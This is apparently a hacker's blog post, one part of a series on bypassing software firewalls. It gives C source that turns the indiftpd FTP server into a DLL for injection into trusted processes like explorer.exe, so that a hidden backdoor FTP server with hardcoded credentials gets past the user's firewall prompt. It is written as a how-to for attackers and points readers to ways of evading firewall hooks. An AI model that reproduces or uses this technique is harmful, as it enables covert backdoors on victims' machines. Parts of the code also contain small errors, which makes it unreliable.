well, as it's a cloudy sat morning, i might as well do the next installment in this little series on firewall bypass.

let's review what we now know.

We have a exe like explorer.exe which the end user trusts explicitly. If the software firewall tells Mr X that explorer.exe needs to access the internet, the user is unlikely to disagree.

The malicious hacker has a special program called injector.exe that will use the api CreateRemoteThread to force explorer.exe to run the command:

LoadLibrary("c:windowssystem32\\nasty.dll")

and this will cause explorer.exe to load nasty.dll into it's own memory space and then execute the entry point function DllMain (residing in nasty.dll) passing the parameter DLL_PROCESS_ATTACH to dllmain.

Ok, all good so far, but what use is this to the hacker, if all her backdoors are currently .exe's?

She needs a method of rewriting the backdoor or app as a dll. It turns out this is very simple too...

To understand what needs to be done, we first must understand how DllMain and Main differ...

Here's the prototype for a typical Main:

int main( int argc[ , char *argv[ ]

(sometimes main will not have any parameters)

and here is DllMain:

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
);

they are quite different and this will cause a slight problem for us. Let's look more closely at DllMain... the only relevant parameter is fdwReason. This specifies why the DllMain is being called. It might be as a response to LoadLibrary == DLL_PROCESS_ATTACH or it could be a response to FreeLibrary == DLL_PROCESS_DETACH. We are only interested in the case DLL_PROCESS_ATTACH.

So how do we proceed... One idea might be to take the source code to an application we want to inject, and change the entry point of the app to DllMain, change the compiler options to compile as a dll and then create our own DllMain that will call the normal main function.

So let's look at a simple app, e.g. the open source ftpd "Indiftpd". This is available for download here:

http://sourceforge.net/projects/indiftpd/

To use indiftpd you normally specify some commandline arguments, e.g.

indiftpd.exe -p1337 -r5000-5010 -Uhax0r -Ppwnedus3r

this will start indiftpd on port 1337 with data port range 5000-5010.

So our very basic idea might be this:

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{

if(fdwReason == DLL_PROCESS_ATTACH)
{
char param0[256] = "indiftpd.exe";
char param1[256] = "-p1337";
char param2[256] = "-r5000-5010";
char param3[256] = "-Uhax0r";
char param4[256] = "Ppwnedus3r";
char* argvarray[4];
argvarray[0] = param0;
argvarray[1] = param1;
argvarray[2] = param2;
argvarray[3] = param3;
argvarray[4] = param4;
main(5, argvarray);

}

if(fdwReason == DLL_PROCESS_DETACH)
{

}
return TRUE;

}

So let's try this. We recompile indiftpd as a dll and set entry point to DllMain. We then use the injector app (see last blog entry), to inject this into iexplore.exe (for testing). What happens??

Well, I can indeed connect to the ftpd on port 1337. But!!! iexplorer is hanging, totally non responsive. What has gone wrong?

Quite simply, we called main which worked fine. BUT indiftpd will not return from main, as it's an ftp server, unless it is told to quit, it will loop inside main forever. This means iexplorer has got stuck inside the main loop and never can do anything else...

Not quite what we wanted, so we need to be more inventive.

What we need is for indiftpd to run on a seperate thread, leaving iexplorer to work as normal.

Let's try again, using the api CreateThread to setup a new thread for indiftpd, and this way we can ensure DllMain returns immediately, leaving iexplorer to do it's normal jobs...

// dllmain.cpp
// Tibbar - conversion of indiftpd to dll for injection...

#include "windows.h"

extern int main(int argc, char **argv);

static DWORD WINAPI StartThreadProc(
LPVOID lpParameter)
{
// indiftpd.exe -p2121 -r5000-5010 -Utibbar -Pletmein
char param0[256] = "indiftpd.exe";
char param1[256] = "-p1337";
char param2[256] = "-r5000-5010";
char param3[256] = "-Uhax0r";
char param4[256] = "Ppwnedus3r";
char* argvarray[4];
argvarray[0] = param0;
argvarray[1] = param1;
argvarray[2] = param2;
argvarray[3] = param3;
argvarray[4] = param4;
main(5, argvarray);
return 0;

}

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{

if(fdwReason == DLL_PROCESS_ATTACH)
{
unsigned long id;

HANDLE hThread = CreateThread(NULL, 0, StartThreadProc, NULL, 0, &id);

}

if(fdwReason == DLL_PROCESS_DETACH)
{

}
return TRUE;

}

We can test this using the injector app and behold, we find iexplorer.exe doesn't hang and the ftpd is working perfectly!

So the hacker can now inject a full ftp server into any system process (e.g. explorer.exe), and the end user's software firewall will simply ask the user is explorer.exe is allowed to access the internet etc.

For the average user this will be an immediate yes, since they have complete trust in explorer.exe.

Of course, firewall companies have got wise to this trick. The better firewalls hook CreateRemoteThread to catch this type of activity, but there are ways around this - see rootkit.com for methods of achieving CreateRemoteThread without using this api command.

Also, the windows firewall is oblivious to this trick.

Hope you are enjoying this little series. I have now installed google adsense to pay for the monthly blog hosting.

Tibbar.